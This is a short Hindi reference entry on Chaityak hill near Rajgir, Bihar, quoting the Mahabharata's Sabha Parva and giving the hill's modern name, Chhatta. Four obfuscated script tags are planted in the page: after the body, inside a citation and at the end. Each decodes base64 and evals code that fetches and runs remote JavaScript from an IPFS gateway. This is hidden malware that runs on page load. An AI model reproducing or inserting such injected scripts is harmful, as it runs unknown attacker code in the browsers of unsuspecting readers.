चैत्यक पहाड़ी
चैत्यक पहाड़ी का उल्लेख महाभारत में हुआ है। महाभारत के अनुसार यह पहाड़ी गिरिब्रज या राजगृह (बिहार) के निकट है।[1]
- मगध के जरासंध के वध के लिए गिरिब्रज आए हुए श्रीकृष्ण, भीम और अर्जुन ने पहले इसी पर आक्रमण करके इसके शिखर को गिरा दिया था-
'वैहारो विपुल: शैलो वराहो वृषभस्तथा, तथा ऋषिगिरिस्तात शुभश्चैत्यकपंचमा:। भड्क्त्वा भेरीत्रयंतेऽपिचैत्र्यं-प्राकारमाद्रवन्, द्वारतोभिसूखा: सर्वे ययुर्नानाऽऽ युधास्तदा। मागधानां सुरुचिरंचैत्यकं तं समाद्रवन् शिरसीव समाध्नन्तो जरासंधं जिघांसव: स्थिरं सुविपुलं श्रृंगं सुमहत् तत् पुरातनम्, अर्चितं गंधमाल्यैश्च सततं सुप्रतिष्ठित्, विपुलैर्वाहुभि वींरास्तेऽभिहत्याभ्यपातयत्, ततस्ते मागधं ह्रष्टा: पुरं प्रविविशुस्तदा'[2]
- महाभारत, सभापर्व[3] दक्षिणात्य पाठ में भी इसका उल्लेख है।
- चैत्यक का वर्तमान नाम छत्ता है, जो चैत्य का ही अपभ्रष्ट रूप है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 344 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ महाभारत, सभापर्व 21, 2-18-19-20-21.
- ↑ सभापर्व 21
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>